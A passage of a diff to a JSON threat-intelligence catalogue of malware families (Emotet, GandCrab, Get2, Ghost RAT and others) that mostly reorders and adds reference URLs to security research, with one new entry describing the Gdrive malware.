"https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://www.digitalshadows.com/blog-and-research/how-cybercriminals-are-taking-advantage-of-covid-19-scams-fraud-misinformation/", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://www.hornetsecurity.com/en/threat-research/comeback-emotet/", + "https://medium.com/threat-intel/emotet-dangerous-malware-keeps-on-evolving-ac84aadbb8de", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers", + "https://www.youtube.com/watch?v=5_-oR_135ss", + "https://www.cert.pl/en/news/single/analysis-of-emotet-v4/", + "https://kienmanowar.wordpress.com/2022/01/23/quicknote-emotet-epoch4-epoch5-tactics/", + "https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/", "https://www.vmray.com/cyber-security-blog/malware-analysis-spotlight-emotets-use-of-cryptography/", - "https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html", - "https://blog.malwarebytes.com/threat-analysis/2021/01/cleaning-up-after-emotet-the-law-enforcement-file/" + "https://research.checkpoint.com/emotet-tricky-trojan-git-clones/", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", + "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", + "http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/", + "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", + "https://cert-agid.gov.it/news/malware/semplificare-lanalisi-di-emotet-con-python-e-iced-x86/", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://www.netresec.com/?page=Blog&month=2022-05&post=Emotet-C2-and-Spam-Traffic-Video", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/", + "https://hello.global.ntt/en-us/insights/blog/shellbot-victim-overlap-with-emotet-network-infrastructure", + "https://www.atomicmatryoshka.com/post/malware-headliners-emotet", + "https://blog.talosintelligence.com/2020/11/emotet-2020.html", + "https://isc.sans.edu/diary/rss/27036", + "https://www.us-cert.gov/ncas/alerts/TA18-201A", + "https://www.esentire.com/security-advisories/emotet-activity-identified", + "https://www.bitsight.com/blog/emotet-botnet-rises-again", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://blogs.vmware.com/security/2022/05/emotet-config-redux.html", + "https://www.intezer.com/mitigating-emotet-the-most-common-banking-trojan/", + "https://www.welivesecurity.com/2022/06/16/how-emotet-is-changing-tactics-microsoft-tightening-office-macro-security/", + "https://isc.sans.edu/diary/28044", + "https://experience.mandiant.com/trending-evil-2/p/1", + "https://www.lac.co.jp/lacwatch/alert/20211119_002801.html", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.fortinet.com/blog/threat-research/ms-office-files-involved-in-emotet-trojan-campaign-pt-one", + "https://portswigger.net/daily-swig/emotet-trojan-implicated-in-wolverine-solutions-ransomware-attack", + "http://ropgadget.com/posts/defensive_pcres.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", + "https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/", + "https://unit42.paloaltonetworks.com/attack-chain-overview-emotet-in-december-2020-and-january-2021/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", + "https://unit42.paloaltonetworks.com/domain-parking/", + "https://www.bitsight.com/blog/emotet-smb-spreader-back", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_workshop_malware-analysis_jp.pdf", + "https://www.lac.co.jp/lacwatch/people/20201106_002321.html", + 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"https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-operator-arrested-in-belarus/", - "https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/", - "https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-different-ways-cook-crab-gandcrab-ransomware-service-raas-analysed-indepth/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", "http://www.secureworks.com/research/threat-profiles/gold-garden", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.fortinet.com/blog/threat-research/gandcrab-threat-actors-retire.html", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/", - "https://isc.sans.edu/diary/23417", - "https://www.secureworks.com/research/threat-profiles/gold-garden", - "https://news.sophos.com/en-us/2019/05/24/gandcrab-spreading-via-directed-attacks-against-mysql-servers/", - "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", - "https://unit42.paloaltonetworks.com/revil-threat-actors/", - "https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/", - "https://news.sophos.com/en-us/2019/03/05/gandcrab-101-all-about-the-most-widely-distributed-ransomware-of-the-moment/", - "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", - "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "http://asec.ahnlab.com/1145", - "https://hotforsecurity.bitdefender.com/blog/belarus-authorities-arrest-gandcrab-ransomware-operator-23860.html", - "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-different-ways-cook-crab-gandcrab-ransomware-service-raas-analysed-indepth/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-operator-arrested-in-belarus/", + "https://news.sophos.com/en-us/2019/03/05/gandcrab-101-all-about-the-most-widely-distributed-ransomware-of-the-moment/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.europol.europa.eu/newsroom/news/pay-no-more-universal-gandcrab-decryption-tool-released-for-free-no-more-ransom", + "https://labs.bitdefender.com/2019/02/new-gandcrab-v5-1-decryptor-available-now/", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://vimeo.com/449849549", "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", - "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", + "https://vimeo.com/449849549", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/", + "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-shutting-down-after-claiming-to-earn-25-billion/", + "https://unit42.paloaltonetworks.com/revil-threat-actors/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/", + "http://asec.ahnlab.com/1145", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", + "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", + "https://isc.sans.edu/diary/23417", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", "https://krebsonsecurity.com/2019/07/whos-behind-the-gandcrab-ransomware/", + "http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/", "https://labs.bitdefender.com/2019/06/good-riddance-gandcrab-were-still-fixing-the-mess-you-left-behind", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf" + "https://www.secureworks.com/research/threat-profiles/gold-garden", + "https://tccontre.blogspot.com/2018/11/re-gandcrab-downloader-theres-more-to.html" ], "synonyms": [ "GrandCrab" @@ -22197,13 +23257,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer", - "https://securelist.com/introducing-whitebear/81638/", + "https://github.com/eset/malware-ioc/tree/master/turla", "https://www.youtube.com/watch?v=Pvzhtjl86wc", "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", - "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", - "https://github.com/eset/malware-ioc/tree/master/turla", "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/", - "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf" + "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", + "https://securelist.com/introducing-whitebear/81638/" ], "synonyms": [ "WhiteBear" @@ -22218,6 +23278,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", "https://bazaar.abuse.ch/browse/signature/GCleaner/" ], "synonyms": [], @@ -22239,6 +23300,23 @@ "uuid": "ed0586d1-4ff0-4d39-87c7-1414f600d16e", "value": "gcman" }, + { + "description": "According to Unit 42, this is a .NET X64 malware that is capable of interaction with GoogleDrive, allowing an attacker to have victim information uploaded and payloads delivered.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.gdrive", + "https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/", + "https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/" + ], + "synonyms": [ + "DoomDrive", + "GoogleDriveSucks" + ], + "type": [] + }, + "uuid": "61c90604-d0f6-437c-920a-f1d6d9f76c55", + "value": "Gdrive" + }, { "description": "", "meta": { @@ -22283,28 +23361,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.get2", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "https://intel471.com/blog/ta505-get2-loader-malware-december-2020/", - "https://github.com/Tera0017/TAFOF-Unpacker", - "https://blog.intel471.com/2020/07/15/flowspec-ta505s-bulletproof-hoster-of-choice/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.goggleheadedhacker.com/blog/post/13", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe", - "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", - "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/cybercriminal%20groups/TA505/04-10-2019/Malware%20Analysis%2004-10-2019.md", - "https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/", - "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", - "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", + "https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/" + "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.goggleheadedhacker.com/blog/post/13", + "https://github.com/Tera0017/TAFOF-Unpacker", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", + "https://blog.intel471.com/2020/07/15/flowspec-ta505s-bulletproof-hoster-of-choice/", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/cybercriminal%20groups/TA505/04-10-2019/Malware%20Analysis%2004-10-2019.md" ], "synonyms": [ "FRIENDSPEAK", @@ -22333,10 +23411,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass", + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-01-08-getmypass-point-of-sale-malware-update.md", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-pos-malware-kicks-off-holiday-shopping-weekend/", "https://securitykitten.github.io/2014/11/26/getmypass-point-of-sale-malware.html", "https://securitykitten.github.io/2015/01/08/getmypass-point-of-sale-malware-update.html", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-evolution-of-point-of-sale-pos-malware" + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-evolution-of-point-of-sale-pos-malware", + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2014-11-26-getmypass-point-of-sale-malware.md" ], "synonyms": [ "getmypos" @@ -22377,9 +23457,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole", - "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf", "http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf", - "https://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/" + "https://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/", + "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf" ], "synonyms": [ "CoreImpact (Modified)", @@ -22396,8 +23476,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostemperor", "https://www.kaspersky.com/about/press-releases/2021_ghostemperor-chinese-speaking-apt-targets-high-profile-victims-using-unknown-rootkit", - "https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/30094337/GhostEmperor_technical-details_PDF_eng.pdf" + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/30094337/GhostEmperor_technical-details_PDF_eng.pdf", + "https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/" ], "synonyms": [], "type": [] @@ -22410,10 +23490,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostnet", - "https://en.wikipedia.org/wiki/GhostNet", - "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", "http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html", - "https://www.nartv.org/2019/03/28/10-years-since-ghostnet/" + "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", + "https://www.nartv.org/2019/03/28/10-years-since-ghostnet/", + "https://en.wikipedia.org/wiki/GhostNet" ], "synonyms": [ "Remosh" @@ -22428,8 +23508,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_admin", - "https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/", - "https://www.cylance.com/en_us/blog/threat-spotlight-ghostadmin.html" + "https://www.cylance.com/en_us/blog/threat-spotlight-ghostadmin.html", + "https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/" ], "synonyms": [ "Ghost iBot" @@ -22444,55 +23524,68 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat", - "https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", + "https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/", + "https://hackcon.org/uploads/327/05%20-%20Kwak.pdf", + "https://risky.biz/whatiswinnti/", + "https://www.secureworks.com/research/threat-profiles/bronze-union", + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", + "https://s.tencent.com/research/report/836.html", + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", + "https://www.trendmicro.com/en_us/research/21/d/water-pamola-attacked-online-shops-via-malicious-orders.html", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://attack.mitre.org/groups/G0026", + "https://www.secureworks.com/research/threat-profiles/bronze-edison", + "https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new", + "https://www.intezer.com/blog/malware-analysis/chinaz-relations/", + "https://asec.ahnlab.com/en/32572/", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf", "https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits", - "https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report", - "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", + "https://blog.cylance.com/the-ghost-dragon", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "https://unit42.paloaltonetworks.com/atoms/iron-taurus/", + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", + "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", + "https://www.datanet.co.kr/news/articleView.html?idxno=133346", + "https://attack.mitre.org/groups/G0011", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/", + "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", + "https://www.intezer.com/blog-chinaz-relations/", + "https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/", + "https://blog.prevailion.com/2020/06/the-gh0st-remains-same8.html", "https://web.archive.org/web/20140816135909/https://www.symantec.com/connect/blogs/inside-back-door-attack", "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", - "https://www.seqrite.com/blog/rat-used-by-chinese-cyberspies-infiltrating-indian-businesses/", - "http://www.hexblog.com/?p=1248", - "http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf", - "https://www.intezer.com/blog-chinaz-relations/", - "https://thehackernews.com/2022/04/chinese-hackers-target-vmware-horizon.html", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/", - "https://tccontre.blogspot.com/2021/02/gh0strat-anti-debugging-nested-seh-try.html", - "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", - "http://www.nartv.org/mirror/ghostnet.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood", - "https://blog.cylance.com/the-ghost-dragon", - "https://blogs.blackberry.com/en/2021/10/drawing-a-dragon-connecting-the-dots-to-find-apt41", - "https://s.tencent.com/research/report/836.html", - "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-cloud-snooper-report.pdf", - "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", - "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", - "https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/", - "https://blog.talosintelligence.com/2019/09/panda-evolution.html", - "https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/", - "https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-globe", - "https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new", - "https://www.datanet.co.kr/news/articleView.html?idxno=133346", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", - "https://asec.ahnlab.com/en/32572/", - "https://www.secureworks.com/research/threat-profiles/bronze-edison", - "https://documents.trendmicro.com/assets/Appendix_Water-Pamola-Attacked-Online-Shops-Via-Malicious-Orders.pdf", - "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", - "http://www.malware-traffic-analysis.net/2018/01/04/index.html", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", - "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://risky.biz/whatiswinnti/", + "http://www.malware-traffic-analysis.net/2018/01/04/index.html", "https://medium.com/insomniacs/what-happened-between-the-bigbadwolf-and-the-tiger-925549a105b2", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.trendmicro.com/en_us/research/21/d/water-pamola-attacked-online-shops-via-malicious-orders.html", - "https://blog.prevailion.com/2020/06/the-gh0st-remains-same8.html", - "https://hackcon.org/uploads/327/05%20-%20Kwak.pdf", - "https://labs.bitdefender.com/wp-content/uploads/downloads/operation-pzchao-inside-a-highly-specialized-espionage-infrastructure/", "https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols" + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf", + "https://www.bitdefender.com/files/News/CaseStudies/study/185/Bitdefender-Business-2017-WhitePaper-PZCHAO-crea2452-en-EN-GenericUse.pdf", + "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report", + "https://www.secureworks.com/research/threat-profiles/bronze-globe", + "https://blog.talosintelligence.com/2019/09/panda-evolution.html", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-cloud-snooper-report.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://labs.bitdefender.com/wp-content/uploads/downloads/operation-pzchao-inside-a-highly-specialized-espionage-infrastructure/", + "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", + "http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf", + "https://attack.mitre.org/groups/G0001/", + "https://thehackernews.com/2022/04/chinese-hackers-target-vmware-horizon.html", + "http://www.nartv.org/mirror/ghostnet.pdf", + "https://tccontre.blogspot.com/2021/02/gh0strat-anti-debugging-nested-seh-try.html", + "http://www.hexblog.com/?p=1248", + "https://attack.mitre.org/groups/G0096", + "https://www.seqrite.com/blog/rat-used-by-chinese-cyberspies-infiltrating-indian-businesses/", + "https://documents.trendmicro.com/assets/Appendix_Water-Pamola-Attacked-Online-Shops-Via-Malicious-Orders.pdf", + "https://blogs.blackberry.com/en/2021/10/drawing-a-dragon-connecting-the-dots-to-find-apt41", + "https://www.prevailion.com/the-gh0st-remains-the-same-2/" ], "synonyms": [ "Farfli", @@ -22548,7 +23641,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ginzo", - "https://twitter.com/struppigel/status/1506933328599044100" + "https://twitter.com/struppigel/status/1506933328599044100", + "https://ke-la.com/information-stealers-a-new-landscape/", + 